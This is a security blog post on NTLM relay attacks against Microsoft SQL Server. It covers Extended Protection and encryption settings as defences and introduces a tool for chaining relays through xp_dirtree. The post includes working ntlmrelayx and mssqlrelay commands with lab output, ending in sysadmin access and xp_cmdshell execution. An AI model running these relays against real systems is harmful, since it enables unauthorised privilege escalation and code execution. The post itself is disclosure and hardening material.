Readers of this blog probably know that I like to try NTLM relaying over all protocols possible! Relaying to Microsoft SQL (MSSQL) is known to work when using the default weak configuration.

With this blog post, we show some dangerous configurations and release a small tool to automate NTLM relaying in these cases.

NTLM Relay 101

In an NTLM relay attack, an attacker in a man-in-the-middle position relays an NTLM three-way handshake to a target of their choosing in order to impersonate the victim on the target.

The attacker relays the messages back and forth and ends up with an open session on the server in the name of the client.

Microsoft SQL

Security Considerations

Connections to MSSQL databases use the MS-TDS protocol over RPC. You may remember that RPC does not provide global relay protection or encryption.

Depending on the configuration of the MSSQL client and server, the communication can be encrypted or plaintext.

Optionally, the TDS protocol has implementations for the following protocols on top of the preceding transports:

  • Transport Layer Security (TLS)/Secure Socket Layer (SSL) [RFC2246] [RFC5246] [RFC6101], in case TLS/SSL encryption is negotiated in TDS 7.x.
  • TLS [RFC8446], in case TLS encryption is established in TDS 8.0.

With encryption, another feature called Extended Protection is available since Windows 2018 R2 and Windows 7. Service Binding and Channel Binding can be enforced and protect against relaying attacks but this feature is disabled by default.

How to enable Extended Protection

The Microsoft documentation explains nicely how to configure Extended Protection.

Force Encryption

For extended protection to be supported, encryption must be enforced. To this end, open the SQL Server Configuration Manager, find the Protocols in the Network Configuration and switch the “Force Encryption” flag to “Yes”.

Enabling encryption for MSSQL with SQLEXPRESS

Extended Protection

In the “Advanced” tab of the protocols properties, you can set “Extended Protection” to “Off”, “Allowed” or “Required”.

Requiring Extended Protection for MSSQL with SQLEXPRESS

Relaying to MSSQL

If Extended Protection is disabled, one can relay to MSSQL. A proof of concept attack has existed in impacket’s ntlmrelayx since many years. I changed the attack a little bit recently to make it easier to use. Here’s what it may look like:

$ ntlmrelayx.py -t mssql://ws1.child.testlab.local -i -smb2support --no-multirelay  
Impacket v0.10.1.dev1+20230425.94702.fadd61c8 - Copyright 2022 Fortra
[CUT BY COMPASS]
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.0.1.101, attacking target mssql://ws1.child.testlab.local
[*] Authenticating against mssql://ws1.child.testlab.local as CHILD/DDRAKE SUCCEED
[!] Press help for extra shell commands
SQL (child\ddrake  guest@master)> enum_users                                                                                                                                                   
UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   
guest                public     NULL        NULL        guest           b'2         '   b'00'   
INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   
sys                  public     NULL        NULL        NULL            b'4         '    NULL                              

In this example, the victim user connects (via SMB) to the attacker host and the connection is relayed to the MSSQL server. As a result, the attacker can run SQL queries on the server.

Bad Configurations

Running SQL queries in the name of other users is interesting, but elevating privileges to sysadmin would be nicer and may allow executing code on the server.

Multiple Databases same Service Account

It is best practice to use a dedicated service account for running your MSSQL service (as opposed to using SYSTEM). If several instances of MSSQL Server are running under the same service account, this introduces new risks:

  • Compromise of one instance may lead to the compromise of the others
  • One may relay a connection from one instance to another

Triggering SMB connection from database

Among the many features of MSSQL, it is possible to handle files. The known stored procedures xp_fileexist and xp_dirtree can be misused to trigger an SMB connection to a chosen target. Standard DB users should never have permission to execute these procedures.

From user to SA

If both misconfigurations above are present, one can combine two NTLM relays to elevate privileges from user to sysadmin:

  1. Relay a user’s connection to a first MSSQL server and trigger xp_dirtree
  2. Relay the service account’s connection to a second MSSQL server and act as sysadmin

MSSQLRelay Tool

We released a tool on github. The tool allows to quickly get an overview of MSSQL instances in a Microsoft Active Directory, find the misconfigurations mentioned above and exploit the two-step relay easily.

Example

We first want to enumerate MSSQL instances in the domain based on SPNs:

$ mssqlrelay checkall -scheme ldap -target child.testlab.local -ns 10.0.1.100 -u tmassie@child.testlab.local -p 'Burp!=B33F' -windows-auth          
MSSQLRelay v1.0 - by Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com)

[*] SPNs in domain CHILD.TESTLAB.LOCAL:
[*]   - MSSQLSvc/fs1.child.testlab.local:1433 (running as svc_sql)
[*]   - MSSQLSvc/ws1.child.testlab.local:1433 (running as svc_sql)
[*] Checking found instances ...
[*] fs1.child.testlab.local (10.0.1.101:1433)
[*]   -  Version: Microsoft SQL Server 2019 RTM (15.0.2000)
[*]   -  Encryption: enforced
[*]   -  Login: successful (as TMASSIE)
[*]   -  DB user: guest
[*]   -  Database: master
[*]   -  Privileges: ['xp_dirtree', 'xp_fileexist']
[*]   -  SysAdmin: No
[*] ws1.child.testlab.local (10.0.1.103:1433)
[*]   -  Version: Microsoft SQL Server 2019 RTM (15.0.2000)
[*]   -  Encryption: not enforced
[*]   -  Login: successful (as TMASSIE)
[*]   -  DB user: guest
[*]   -  Database: master
[*]   -  Privileges: ['xp_dirtree', 'xp_fileexist']
[*]   -  SysAdmin: No

From this output, we know that both SPNs are registered to the same service account (svc_sql). This user has SA privileges on the databases. Our user tmassie has no admin privileges but can execute xp_dirtree on fs1 and encryption is not enforced on ws1. We can relay from fs1 to ws1 and elevate privileges!

$ mssqlrelay relay -target fs1.child.testlab.local -u tmassie@child.testlab.local -p 'Burp!=B33F' ws1.child.testlab.local 10.0.1.15                 
MSSQLRelay v1.0 - by Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com)

[*] Listening on 0.0.0.0:445
[*] Authenticating to victim 10.0.1.101
[*] Triggering connection to \\10.0.1.15\FZqxFiLX
[!] Press help for extra shell commands
SQL (child\svc_sql  dbo@master)> xp_cmdshell whoami
output          
-------------   
child\svc_sql   

NULL            

SQL (child\svc_sql  dbo@master)> exit
[*] Shutting down
[*] Exiting...

What’s next?

Please note that the tool is experimental and was not tested in depth. If you encounter any issue or have feature requests, please open an issue or a merge request!